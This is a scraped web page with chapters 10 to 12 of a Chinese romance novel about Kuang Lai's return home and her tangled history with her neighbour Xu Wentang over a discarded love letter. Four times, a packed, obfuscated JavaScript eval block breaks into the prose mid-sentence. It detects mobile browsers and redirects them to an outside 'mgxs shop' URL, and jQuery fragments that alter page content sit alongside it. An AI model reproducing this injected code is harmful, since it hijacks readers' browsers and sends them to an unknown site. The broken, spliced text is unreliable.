“许大小姐,你今天这门怎么这么难开啊?” ——还没等况莱思考太久,那道声音就响亮亮地从身后传出来。 况莱回头一看。 有个人大步流星地到了门口。 有点眼熟,但对不上号。 女的。 和许温棠差不多大,风格完全不一样,长卫衣短牛仔裤,运动鞋,黑框眼镜,皮肤白,长黑发看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387968|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发质特别好,飘飘逸逸的。 况莱不太认识她。 但她倒是像对况莱挺熟悉,见到她,很惊喜地喊了声, “小况莱!你什么时候回来的?” 这是谁? 况莱抿唇,觉得对方这么热情自己却喊不出名字怪不礼貌,便求助式地看了眼许温棠。 许温棠开完门就走回去,重新戴回手套洗碗。这会,大概也是听见门口这么大动静,她很优雅地靠在柜台边缘,懒懒抱着双臂看向这边。收到况莱的信号,她笑了笑,对这人说, “丁细铃,你今天倒是来得快。” 丁细铃? 这名字怎么有点耳熟? 况莱挠了挠脸。 也不知道喊人什么,想起叶君君平时教她的,就喊了声, “铃姐姐。” 许温棠那边的水声停了下。 “嗯哼~”丁细铃笑眯眯,“我们小况莱就是乖哈。” 一口一个小况莱。 况莱还是没想起来这人是谁,不好意思地抿了抿唇, “你,你要不进来再说吧?” “啪嗒——”是碗碰水池的声音,有点突兀,声响也有点大。 况莱和丁细铃同时回头。 “抱歉。”许温棠把掉落的碗拿起来,微笑着说,“手滑。” 丁细铃很自来熟地走进来,到洗碗池那边晃了圈,“我说你怎么这么久不开门呢?原来是和我们小况莱一起呢。” “嗯。”洗碗池水声淅沥,许温棠声音听上去有点淡,“她今年二十四,你还一口一个小况莱的,好听吗?” “我们小况莱都这么大了?”丁细铃很是吃惊地回头看况莱。 “对的。”况莱在不熟的人面前比较收敛,抬眼看见丁细铃笑眯眯的,又瞥见自己刚刚撸起的袖子,觉得有点粗鲁,便一点一点放下来。 “啪嗒——”碗又响了。 “抱歉。”许温棠语气正常,“你们继续。” 丁细铃这次没回头看。 她像是对长大后的况莱挺好奇,“虚岁还是实岁?” 况莱敛了敛唇角,“七月就过生日。” “这样啊。”丁细铃点点头。 下一秒,她像是忽然想起什么事,露出艰难回忆的表情, “咦,小况莱,你是不是——” “嗯?”况莱歪头。是不是什么? “你小时候……”丁细铃摸着下巴,似是绞尽脑汁,才勉强回忆起细枝末节,突然打了个异常响亮的响指,也大着嗓门来了一句—— “你小时候是不是还给我递过情书来着?” 话音落下,洗碗池那边的水声彻底停了。而像是为了求证这段模糊的记忆,还没等况莱开口,丁细铃就已经大大咧咧回头,问洗碗已经洗了很久的许温棠, “对了许温棠,你还记不记得这事啊?” 10. 「黄昏与酸梅树」“ 久远的记忆袭击了况莱的大脑,像一颗吹起来又瘪掉的泡泡糖。 “啪嗒”一声。 仿佛专属于她少女时代的号角,快速膨胀,又快速消退。 事情发生在高中那年,况莱意外得知,自己那位性格内敛的文静同桌,竟然偷偷暗恋某位学姐。 起因是在同桌因为生病休学留级,又在八百米摔倒后。 这位学姐在一众中学小破男孩的嘲笑声中,背着同桌去了医务室,后来还给同桌很温柔地包扎好了膝盖上的伤口——也就是丁细铃。 但那会丁细铃已经毕业,即将去省外念大学。 而青春期的况莱冒冒失失,对别人的事比对自己的事还上心。 她自告奋勇,要趁这位学姐还没有离开酸梅岭的时候,替同桌准确传达出那份心意。 于是在某个像橘子汁被挤出来的黄昏,况莱帮同桌把情书很准确地送到了丁细铃手中,也完全没看丁细铃的反应。 完全沉迷在“自己做了好事今天好酷”的得意中,吹了下刘海,丢下一句——“学姐你一定要亲自打开看”,就骑着单车跑掉了。 没过多久。 同样一个黄昏,比橘子汁稍微深一点,也就是在况莱与丁细铃分别不到一个小时之后,即将去省外念大学的许温棠突然出现在她家门口,敲她的头,对她说, “况莱,不准早恋。” “啪嗒”—— 夏天的柏油路气味难闻,情书被毫不留情扔进垃圾桶。 同桌不善言辞,只在况莱主动提出帮她写还帮她送时才勉强点头。 所以,这是况莱自己趴在桌子上字斟句酌,仔细回忆同桌向她诉说的细节,花了好几个夜晚才写出来、又送出去的情书。 夕阳像金色河流流淌,横在她们中间。况莱难以置信情书就这样被扔进垃圾桶。 “许温棠你有病吧!”她下意识弯腰去翻垃圾桶。 “就算要写,也得等你高考以后。”许温棠理智又冷静,仿佛这才是最正确的处理方式。 恰好况莱敏感又叛逆,最讨厌许温棠总是用这种大人的口吻和她说话。 “高考以后?你不觉得你特别双标吗许温棠?” 夏日聒噪,飞虫乱飞,她仰头看向居高临下的许温棠,简直怒不可遏,“意思是说你现在随便做什么都可以,而我就连写封情书都不可以了?” “对。” 许温棠几乎不假思索。 就好像,明明只差两岁七个月零六天,但在况莱尚且还被划分在“不准早恋”的范畴里的时候,许温棠自己却很快就要属于另外一个范畴—— 她马上就会过掉十八岁生日,成为一个真正的大人,去离况莱很远的地方 ,或许可以谈一场精彩的、不会被管教的校园恋爱。 甚至会回来的越来越少,也会在某一年带一个况莱完全不认识的人回来,和所有大人名正言顺地介绍:这是她的恋人。 就像酸梅岭所有去外面读大学就会把这里忘掉的人一样。许温棠很快也要飞走了。 “你又有什么资格管我?”这是况莱当时对许温棠说的话。 “许温棠,你真讨厌。” 之后她气得关门跑掉,也非常不成熟地忘记,这本来是同桌和丁细铃之间的事,过了五六分钟,才又匆匆忙忙跑出来,去垃圾桶里拼命翻那封被许温棠扔掉的情书。 从黄昏翻到天黑,也没有从垃圾桶里翻到情书的踪影。 那天,她像只被从池塘里捞出来的水鬼一样,垂头丧气蹲坐在垃圾桶边,看到上高中后她妈好不容易才答应给她买的手机上,有同桌打来的几通未接来电。 这才失魂落魄意识到自己又搞砸一件事。大概就像她妈一直数落的那样,她就是一个不懂事的、容易生气的、长不大的况莱。 但她想要补救。所以当晚,况莱骑上自己的单车,满头大汗骑到同桌家,眼泪汪汪地跟同桌道歉,说自己不小心搞砸了她的事情。 同桌用漂亮干净的手帕纸帮她擦汗,摇摇头,对她说,“况莱,谢谢你。” “谢谢你以我的名义帮我写情书,也谢谢你愿意帮我送出去。但其实我刚刚打那么多电话给你,就是希望你不要把那封情书送出去。” “也幸好……幸好来得及。”同桌很紧张地呼出一口气,“幸好你没有送出去。” “为什么?”况莱红着眼睛问,“你是不是……为了是不是安慰我才这么说啊?” 同桌笑起来,“不是。” 她的嘴角有个小小的梨涡,“因为我想了很久,还是觉得自己不想告诉她。” “为什么喜欢一个人会不想告诉她呢?”况莱觉得这个问题对自己很难。 同桌的表现比她成熟很多,“等你以后遇见你喜欢的人,大概就会知道这种心情的。” “什么心情?” “喜欢她,却在全世界唯一不想让她知道的心情。” “好奇怪的心情。” “嗯,好奇怪的心情。” 那天晚上,况莱问同桌是不是因为她搞砸了所以才后悔送情书。 同桌也耐心说明,那也不是她自己写的情书,她不想连这份心意都让别人代替。她希望就算况莱之后找到情书,也不要送出去,而是直接帮忙销毁。 况莱不死心,当晚骑单车追到垃圾站,灰头土脸地翻了很久。最后确认真的完全找不到那封情书的踪影,才魂不守舍回家。 后来,因为同桌确定真的不想表明心意,情书也没能找到。这件事就彻底不了了之。 如今这么久过去,连况莱自己都快要想不起来这件事了。 因为在她幼稚且莽撞的少女时代,只是所有与许温棠有关的、让她愤怒的、不满的、烦闷的事情里……其中很不起眼的一件。 也几乎要忘记那封情书的主人公是谁。她没想到丁细铃竟然还会有印象。 “我想起来了。” 丁细铃转脸,看向在洗碗池的许温棠,“那个时候是不是还是你替我处理的来着?” 洗碗池的水声早已停下。 “有吗?” 许温棠背对着她们,慢慢取下橡胶手套,心不在焉地说,“我没什么印象了。” 没印象?况莱抿抿唇。 虽然许温棠对这件事没印象很正常,但……但况莱就是不太喜欢,只有自己一个人记得的感觉。毕竟那天的许温棠真的很讨厌。 地位仅次于那件扎脖子的红高领毛衣,况莱小时候过年都要被她妈逼着穿,说穿着精神。 “怎么没印象?”丁细铃大大咧咧追问,“我记得你还说——” “况莱。”许温棠突然打断丁细铃的话。 她转过身。 把洗干净的保温桶提起来,在灯光下看着况莱微笑,“保温桶洗好了。” “哦。”况莱低头,接过被许温棠又擦干净的保温桶,“那我走了。” “就走了?”丁细铃有些意外,“话还没说几句呢?” “嗯,我今天刚回来,还得回去收拾行李呢。”况莱说。 “行,那小况莱拜拜~”丁细铃笑眯眯地挥挥手。 况莱也抿抿唇,说,“拜拜。” 没有再喊铃姐姐。 看了眼许温棠。 没有和她说“拜拜”。 况莱拎着保温桶慢慢吞吞走了出去。 好像之前还恨不得马上跑掉,但自从某个人出现之后,就忽然舍不得离开这里一样。 许温棠看她的背影,等她的影子都缩小,彻底看不见了,才收回目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387969|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看在客厅沙发上瘫着的丁细铃。 许温棠垂下眼,把之前分出来的话梅小排和蒸花蟹放进冰箱,又绕到门口,静静倚着门框。 春夜风凉,对门那栋房子比她家地势低,要下个坡才能走到,这会,遥遥去看,也能看清门前还亮着明黄的灯。 一分钟,两分钟…… 有个模模糊糊的人影下了坡,从她家大门晃进那张大门,踏进院子。 “许温棠你夸张了哈,从你家到她家拢共也就这么点路。” 丁细铃不知道什么时候跟了过来,“要真这么担心,你刚才怎么不送送她?” 许温棠淡淡看丁细铃一眼,“她不会让我送的。” “这么点路你还真想送?”丁细铃大惊小怪,又说, “不过我们小况莱挺好说话的啊?哪有你说那么严重啊?” “我和你不一样。” “哪不一样?” 她不会让我送她,也不会让我喊她小况莱。 你可以做的很多事情,我都不可以做。 因为我对她而言是令她讨厌的许温棠。我是爱管教她的、扔掉她少女时代第一封情书的、动不动就威胁她的、奇怪又无聊的许温棠。 “丁细铃。”许温棠突然出声。 “啊?”丁细铃侧脸看她。 不过许温棠对此并无悔改之意,就算她们都已经长大,她也仍旧需要干涉况莱的一切,也无法忍受,对况莱而言,有另外一个人比她的存在感更强。 因此她对丁细铃说, “这段时间你都先不要来我家找我。” - 丁细铃没有待多久。 离开之前,她对许温棠的行为表示明确的不理解。但还是选择接受。 “说实话这个要求挺奇怪的。不过因为你是许温棠,那就成交吧。” 之后许温棠独自关好门,上楼。 回到二楼卧室。 她站到窗边,望对门院子里那棵已经长得很高的酸梅树。 很久。 对门二楼的灯点亮。 她收回目光,垂眼,盯那张木桌,也盯那张木桌上的划痕。 几乎持续了一分钟。 许温棠坐下来,把之前锁上的抽屉打开,铁皮盒还在里面。她拿出来,把铁皮盒的盖子打开,里面是一封信。 那段时间很流行的信封,像酸梅树一样的绿色,缀着线条和星星,没有蝴蝶结,颜色很淡。很难让人联想到这是一封情书。 但…… 在它变成丁细铃手里那封情书以前,许温棠就已经偶然间看到过它出现——在况莱房间书桌上,被很谨慎很珍惜地压在课本下面。 后来,它变成情书。 丁细铃很紧张地交给她。 许温棠带着这封情书去找况莱,当着况莱的面扔进垃圾桶,对况莱说“不准早恋”。 况莱很生气地对许温棠说, “你有什么资格管我?” “许温棠,你真讨厌。” 况莱很愤怒地从许温棠身边跑掉。 许温棠在大门外站了快到一分钟,翻垃圾桶,把情书找出来,回家,把边边角角粘到的灰尘和油渍都擦干净,找到一个装进口饼干的铁皮盒,放进去,盖起来。 许温棠很冷静地扔掉况莱的情书,又把它捡回来。 因为它毕竟是况莱少女时代的第一封情书。 这或许很珍贵。 像孩童时期每个人都会掉落的第一颗乳牙。可能很久以后会没人记得,但或许会是某种珍贵佐证。许温棠作为两家人眼中能管得住况莱的姐姐,自然也有责任替况莱处理和保管。 只是后来,她也常后悔那天自己处理轻率。 于是从来都没有打开。 11.「青梅糖与蘑古力」 许温棠把过了期的情书放回去,连同那个过了期的进口饼干铁皮盒一起,放到抽屉里,锁起来。 然后瞥见自己右手拇指上那道变淡许多的疤—— 八岁那年,许温棠和许云一起搬进酸梅岭。 许云要面子,不愿让人发觉自己落魄后只能搬来乡下住,选择在深夜搬家。那时酸梅岭还没修路灯,一眼望上去黑漆漆一片,连搬家货车车灯都坏了半边,只有下坡对面那户人家还亮着灯。 后来许温棠知道,是她们深夜搬来的动静太吵,对面那户大人被吵醒,于是干脆为她们两个新来者亮了一整夜的灯——这是许温棠对酸梅岭的第一印象,这里有会为陌生人在深夜点亮一盏灯的一家人。 许云一辈子都讲究体面,受了恩,第二天就邀请对门那户来吃饭。五岁的况莱登堂入室,拿着小勺子小碗到处走来走去,摔了碗,在八岁的许温棠手上留了一道疤,自己惨白着脸嚎啕大哭。 八岁的许温棠觉得况莱好烦,也觉得这道疤好烦——因为医生说,以后可能要留疤。而许云也皱着眉头跟医生说,有什么办法吗?她要跳舞,身上不能留疤。 许温棠非常不喜欢这句话,就好像她身上不能留疤的原因,是这道疤会影响她跳舞,会影响她皮肤的美观度。而不是这道伤口会让她疼。 而每次换药。 许云看到伤口,都会眉头一皱,责问她有没有不小心碰水,警告她不要放松警惕,跟她说这么小的年纪身上就留疤会后悔一辈子。 但叶君君从来不会跟她说这些——也就是对门那户的大人。 她只要替许云帮她上药,都生怕她痛,稍微涂一点,就鼓起腮帮子替她吹一吹,还会含含糊糊哼唱着某种方言里哄小孩的儿歌,等上完了给她包扎好,看到那么厚的纱布又会皱起眉心,一脸愧疚地问她疼不疼。 她也会因为看到许温棠因为伤口上药而皱眉的时候,突然之间一怒而起,十分暴躁地举着鸡毛掸子,追着况莱绕着院子里那棵酸梅树跑。 相比之下,许云却总是装宽容,在况莱面前让许温棠不要计较,让她做姐姐的大度一点,让着妹妹。 许温棠因此感到不快。 所以。 她对五岁的况莱说, “你一个五岁小孩的道歉到底有什么用?” 况莱被她吓坏,晚饭吃贡菜的时候憋红着脸咬得咔嚓咔嚓的。 不过许温棠并不对此感到任何愧疚。因为做错事情就需要被惩罚,这一点点不算什么的道德审判,已经是她念在叶君君的面子上,给况莱所施与最轻的了。 但她没想过,况莱是个很有责任心的五岁小孩。 因为从第二天起,许温棠每天背着书包放学回家,都会在自己家的铁门下面,收到匿名的、光明正大从铁门下面塞到院子里的…… 一包蘑古力和一包咪咪虾条。 还有一张雷打不动的田字格字条,最开始用拼音,后来可能是因为留字条的小孩学业精进,慢慢会学着写汉字,于是歪歪扭扭地写: 【对不起,请你吃蘑古力和咪咪虾条】 从实际情况来看,况莱的道歉并不可以让许温棠手上的伤很快治好,也不可以让许温棠不痛,但可以让许温棠免费吃到一整年的蘑古力和咪咪虾条。 尽管八岁的许温棠很高傲,认定自己和那些攒着钱吃小零食的小屁孩不一样。 但…… 二十七岁的许温棠冷静抽出思绪,锁好那个装过期情书的抽屉。 手往下落。 拉开这一层下面的另外一个抽屉。 里面全都是蘑古力和咪咪虾条,满满当当,整整齐齐。 当然不至于还是当年况莱买给她的,是她保留了心情不好时吃蘑古力和咪咪虾条的习惯。 于是这个抽屉从来没有空过。 许温棠眯了眯眼,想起今夜那封情书的主人再次在况莱面前出现,只好再拿出一包蘑古力和咪咪虾条,才关上抽屉。 手里的零食包装袋还没撕开,她突然瞥见自己书桌那张相框背后鼓鼓囊囊的,好像是放了什么东西。 这么隐蔽的位置,总不可能是她自己放的。 许温棠拿开相框。 出乎意料,后面同样是一包蘑古力和一包咪咪虾条,和她手里的基本一模一样。不一样的是位置隐蔽,甚至还特意放在相框背后。 世界上会有第二个人这么喜欢掩耳盗铃吗? 许温棠抬了抬眉,拿起相框背后的蘑古力和咪咪虾条。 下一秒,她忽然笑出来。 因为下面还偷偷放着一颗青梅糖,以及一张匆忙之下写得张牙舞爪的字条: 【我知道今天飞机上的青梅糖是你的,难吃,还你。】 况莱专属的语气。 以及在字条背面,况莱独一无二的、在冒冒失失后又来打补丁的手法和口吻: 【不过既然我都吃了几颗了。所以剩下的就用蘑古力和咪咪虾条还吧。许温棠,我们现在彻底两清了!】 - 真是的。 许温棠怎么长这么大还跟小时候一样,不吃正餐,就喜欢吃蘑古力和咪咪虾条。 难怪这么瘦。 入睡之前,况莱想起在许温棠家餐桌垃圾桶里瞥到的零食袋,很是操心地替许云想。 不过很快,她就把这个乱七八糟的想法从脑子里赶出去。 扭着被子,不大高兴地翻过身。 回酸梅岭的第一天就碰见许温棠,甚至一天之内还碰见了三次,这显然不如她所愿。 于是况莱拿出想象的修正带和圆珠笔,很勤劳地在自己脑子里将很多乱糟糟的想法线条擦去,并正式更正为—— 明天起不要再见到许温棠了。 带着这个想法满意入睡。 况莱并没有睡好。 实际上,她感觉自己只是稍微把脑子摘下来歇了会,还没完全睡着,浑浑沌沌间就听到乡下嘈杂的犬吠鸡鸣。 以及很有精力的叶君君,和过路乡民的对话—— “吃了吗?” “吃了!” “听说你家况莱昨天回来了?” “对啊!可别提了,一回来就和我顶嘴,这么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393025|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还不懂事——” 叶君君声线嘹亮,生怕人不知道她这个当女儿的名声多差似的。 况莱不大高兴,像条毛毛虫一样在床上蹬了下被子。 再眯了会。 她妈和人喊话的声音不见了,外面下了雨,雨声淅淅沥沥,砸落到窗户上,像很多只蜻蜓躲起来放鞭炮。 况莱迷迷怔怔觉得牙龈有点疼,舔了一下发觉更疼,于是不由自主联想到昨夜七零八落的梦……怎么都和许温棠有关? 她坐起身,迷迷糊糊,在床上像只歪七斜八的椅子一样直挺挺坐着。 一分钟后。 她摇摇晃晃地下床,从卧室里走出去。 刷牙,洗漱。 从洗手间晃出来。 阴雨绵绵,客厅没开灯,屋内光线昏暗,况莱还是觉得困,半掀开眼皮,瞥见她家门大大方方地敞着,外面屋檐滴滴答答地滴着雨。 沙发上有个人影坐着。 “妈——” 况莱拖着声音,晃晃悠悠走过去,很自然地脱了拖鞋,圆滚滚地栽到沙发上,像某个运动鞋品牌的半边那样抱着膝盖。 整个人栽下来,蜷缩到人影腿边,头顶软绵绵抵着人影的腿。 “你早上起来好吵啊……”她头昏脑胀嘟囔着。 不过她妈今天也不知道是不是涂了她昨天带回来的护肤品,还挺香的。 她妈没讲话,停了一会,伸手过来摸了摸她的额头。 “没发烧……就是没睡好。”况莱小声说,又迷迷糊糊地蹭了蹭脑袋,“我眯会,你别吵我了。” 她妈很配合,没说话,帮她理了理糊在脸上的头发,就安静把手收回去。 春日的雨不大,绵绵软软,很是助眠。况莱没直接躺她妈腿上,只是整个人像软体动物脱掉壳一样蜷缩在她妈腿边。 容易腿僵的姿势,但她这样蜷着反而舒服,没过多久,就真的眯睡了过去。懒觉睡到现在,刷完牙不吃早饭,甚至空着肚子倒头又睡,叶君君倒是罕见地没数落她。 这么睡了会,她再醒过来,发现自己身上不知道什么时候盖了条毛毯。 屋外的雨没有停,牙龈的疼痛也没有很神奇地消退,空气变得湿哒哒的。 “我牙好像又疼了。” 况莱含含糊糊地说,然后在头顶那温热柔软的触感处,下意识蹭了蹭头。 牙疼是老毛病了。 她智齿也是成年那段时间长出来的。后来上大学之前拔了一颗,另外一颗一直没什么大毛病,加上她第一次拔智齿之后疼得哭天喊地,受了近一个月的罪才好全,哭着发誓以后再也不拔,后来也就真的没有下定决心再动这颗。 “嗯?” 声音从头顶处传来。 况莱稀里糊涂,牙龈处的阵痛让她稍微清醒,半掀开眼皮。不对啊,她妈什么时候那么温柔了? 而还没等她完全看清现状。 下半张脸就被柔软的掌心覆盖住。与此同时,屋外雨声连绵,视线缓慢对焦,她看见女人下颌处那颗很小的痣。 “张开嘴,我看看。” 12.「旗帜与炒花蛤」 脸颊处传来的触感柔软,像昨夜那场绵延的梦,也像现在这场湿漉漉的雨。 况莱卡了蛮久。 然后。 她很干脆地一扭头,把自己在女人掌心中被托着的脸抽出来。 蜷着毛毯,抱着膝盖,维持着某运动品牌只剩一边的姿势,像一颗骤然间被抽打的硬币,圆滚滚地从沙发上,滚到另一边,再比较冷静地说, “许温棠,你为什么一大早会坐在我家沙发上?” 说这句话的时候,她的头还朝下,抵在沙发软座上。 试图将这一切解释成她还在做梦。 “你都蹭着我腿睡这么久了。”许温棠在她眼底也掉了个个。她稍微歪头来看况莱,“再问这个问题是不是有点晚了?” “什么叫蹭着你腿,不要乱讲!”况莱脑袋顶着沙发,很不愿意相信自己刚刚几乎像条宠物犬一样贴在许温棠腿边这个事实,“那你怎么也不提醒我?” “本来要提醒的。”许温棠悠悠说,“看你睡得挺香,就没说了。” 才怪。听语气就知道是故意的,就是想看她醒来之后出洋相。 况莱不大愉悦,“你为什么一大早坐在我妈的位置?” “君君阿姨请我们过来吃午饭,我不想待在家里,就早点过来了。” “那也不至于来这么早吧?” “不早了。”许温棠侧身。 手撑着脸。 懒懒看仍旧把头倒抵着沙发边的况莱,“你打算一直用这个倒栽葱姿势和我说话?” “你管我。”况莱一大早起床就很不客气。 许温棠挑挑眉,不讲话。 况莱也不讲。 雨声绵绵,她们大眼瞪小眼。 一上一下。 过了会,况莱仔细一想,虽然许温棠这个人讨厌,但有些时候,赌气对一个人的身心伤害更大。特别是她现在还有点脑充血。 于是她很利落地像个不倒翁反弹一样直起身子,“许温棠你不讲信用。” “我哪里不讲信用?” “不是说好昨天陪你吃了饭今天就不上我家吃饭了吗?” “本来是不来的。”许温棠好像并不清楚况莱又找到一个讨厌她的正当理由,“是君君阿姨太热情了。” 骗子。 她才不信要是许温棠不答应,她妈还会硬邀着两人来吃。 当然,况莱也不至于是那种连顿饭都不肯让许温棠吃的人就是了。 但是…… 她狐疑地看过去。 许温棠不怕她看,“怎么了?” “没什么。” 只是,相比于一大清早起来顶着鸡窝头、穿着睡衣的况莱,许温棠显然打扮过了,白丝绸衬衫,挽发,戴耳环,妆容精致,唇色红润。穿这么好看也不知道是要去哪里? “一大早穿这么好看还不通知我……”况莱嘟囔着,理了理自己乱七八糟的头发,气鼓鼓地抱着毛毯。 停了会,尤其不在意的语气,“还是你等会吃完饭要去约会啊?” 许温棠笑出声,“嗯。” 况莱不讲话,戳了戳毛毯。 “和我妈的医生。”许温棠说。 “这不太行吧?”况莱怀疑这是否合乎职业道德。 许温棠叹了口气,“我带我妈去看医生。不是去约会。” “哦。”况莱把毛毯抱回来,戳了戳下巴,“随便你。” “随便我什么?”许温棠挑眉。 况莱不讲话。 许温棠笑了一下,没再继续这个话题,转而问她, “牙怎么又疼了?你智齿不是拔了吗?” 这事就经不得提,一提,牙龈处的疼痛就回来了。 况莱捧了捧有些发酸的脸,“只拔了一颗。” “今天疼的是下面的另外一颗。”她解释。 许温棠“嗯”了声,“要不我给你看看?” “难道你这几年还趁我不在考了牙医证?”况莱很惊讶。 许温棠停了会,“看看有没有发炎。” 无奈的语气,“发炎的话得尽快去医院。” “哦,不用了。”况莱拒绝,“我不去医院。” “为什么?”许温棠大概又觉得她像个长不大的小孩子了,笑了一下,“怕痛?” “嗯。”况莱不可否认自己抗拒拔智齿的行为的确幼稚,但许温棠的语气莫名让她有点烦躁。 她想可能是起床气让自己像个坏掉的过山车,“不想拔。” 许温棠望着她,红唇微动,似乎是还想说些什么。 “况莱——” 叶君君嘹亮的嗓门陡然出现。 “哟,我家懒姑娘起了啊——” 叶君君收起湿湿嗒嗒的伞,领着许云进门,进门看到况莱怏怏坐在沙发上,还穿着睡衣顶着鸡窝头,催促她,“快,换衣服,准备吃饭了。” 况莱慢吞吞下沙发,先和许云打了个招呼。 再晃回房间,没走几步,就听见叶君君似乎是掀开饭罩看她起这么久而早饭压根没动,便在身后细细碎碎地数落她, “一大早像个什么样子。我不喊你起你就早饭也不知道吃!” “你看看你棠姐姐,人在外面那么辛苦,早就起来在这等你了——” 许云打圆场,“况莱昨天才回来,估计是在外面累着了,你别总说她……” 许温棠没有说话。 况莱闷闷不乐关上门,倒也不至于因为她妈说她这两句就生气,反正这么多年早就被她妈数落惯、也被她妈和许温棠比较惯了。 只是……偏偏每次这种情况,许温棠都在。 可能大部分时候,许温棠自己并没有做什么很过分的事情。但她只是光存在于她身边,就已经让她感觉到很多烦闷,挫败和不高兴。 房门关闭,“咔哒”落了锁。 她家房门隔音不好,就算是关上门,况莱也听见——在一段漫长的沉默过后,许温棠像是接了叶君君什么东西,轻声细语地说了声“谢谢”。 语气礼貌,态度得体,反正许温棠也从来不会站她这边就是了。 不过还好,况莱有个优点就是忘性大。毕竟如果她要真的很记仇,那从小到大都不知道离家出走多少次了。 况莱换了衣服,磨磨蹭蹭蛮久才走出去,才发现这么一会,她妈就三下五除二把刚刚拎回来那些菜做完了。 餐桌前三个人的氛围很温馨。叶君君系着围裙火急火燎地端上热汤。许云笑眯眯地给餐桌摆上四副碗筷。许温棠低头,也笑着和叶君君说着些什么。 同样也没有人会记得刚刚叶君君对况莱的数落。 因为大人是大人,况莱在她们面前从来都是很小很小的人。无论她已经长到多少岁。 “换好衣服了?”许云招呼她,“快过来,吃饭了。” 况莱若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397237|200285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走过去,“妈——今天吃什么啊?” “炒花蛤空心菜咖喱鸡。”叶君君正在厨房里收拾最后一碗菜,仿佛完全不为刚刚当面数落况莱感到愧疚,“哦,还有话梅小排。你不是还没吃早饭吗?” “哦。” 况莱坐到许云旁边的位置。 因为她还有点生她妈的气,所以她决定这三天吃饭都不和她妈坐一起。 她们家饭桌是张大圆桌,按道理许云还有一边可以挨着坐。但许温棠也不知道是不是还和许云在冷战,也没去坐许云旁边,反而还坐到况莱这边。 况莱没主动和许温棠讲话。 说实话刚刚她妈数落她那几句,也怪不了许温棠。但她就是还对许温棠有点别扭。 许温棠大概也清楚她的怪脾气,没主动和她搭话。 许云倒是温言细语和况莱说了几句,但进门这么久,她也没主动和许温棠搭话。况莱装乖巧和许云说了几句,反而不是很自在。 一时之间,饭桌气氛极为安静。 好在叶君君是个热闹的。 很快,她端出来最后一碗菜,摆到几个菜中间,左看右看,“你们母女俩还互相不说话呢——” 行吧。她妈倒是挺无差别攻击的。况莱看了眼许温棠。 许云扯了扯嘴角,“当着你家况莱的面瞎说什么呢?” 许温棠没说话。 她低着眼,嘴角带笑。 她不是会主动、轻易表露出生气表情的人。 她永远比况莱要更擅长扮演大人。 况莱不知道自己该是什么感觉。其实她觉得她们这两家人都挺别扭,四个人,两个家长,两个小孩,如果要站队,根本分不清到底谁和谁一边。 按道理,小孩就该站小孩。但有的时候,况莱就是觉得,连许温棠也跟她妈站一边,是她妈手里一杆标标准准的旗帜。 况莱从小就站在这面旗帜的阴影下,因此格外讨厌抢走她阳光的旗帜,却也偶尔觉得……这旗帜从小就被举得高高的,也怪可怜的。 也是。跟许云对许温棠算是刻意忽视的态度比起来,叶君君那点数落还真不算什么。 这么想着,况莱捂着发酸的腮帮子,把目光落在叶君君刚刚端过来的那碗菜上——又是一份炒花蛤。 “怎么这菜还专门做了两份?”她决定不再生气,转而活跃气氛。 叶君君很利落地挖了一大碗饭给她,“你棠姐姐刚刚特意让我做了份不加辣的。” 许温棠说的?什么时候?许温棠可不是那种会为了自己的喜好在别人家饭桌上提特殊要求的人,许温棠可会装了。 当然,这个“装”不是贬义词。因为许温棠从来都是她妈眼里好说话、不顶嘴、能拿得出手还特别懂事的完美女儿。 况莱十分好奇去看旁边的许温棠,女人也坦然回望她,仿佛从来都不在意况莱的怪脾气。她给她夹出一块干净花蛤肉,“先吃吧。” 那句“你什么时候不吃辣”还没问出口,像是被提醒,况莱牙龈传来一阵被挤压的钝痛。而旁边,来自叶君君的提醒则更为直接, “你今天不是牙疼吗?” 也像是重新回到小时候,不完美况莱忘性很大决定休战,而旗帜许温棠却大张旗鼓,突然让她获得来自反派叶君君的延迟关爱。 “你棠姐姐说了,新鲜花蛤,少了谁也不能少了你。” 她们不会永远一边。她们永远一边。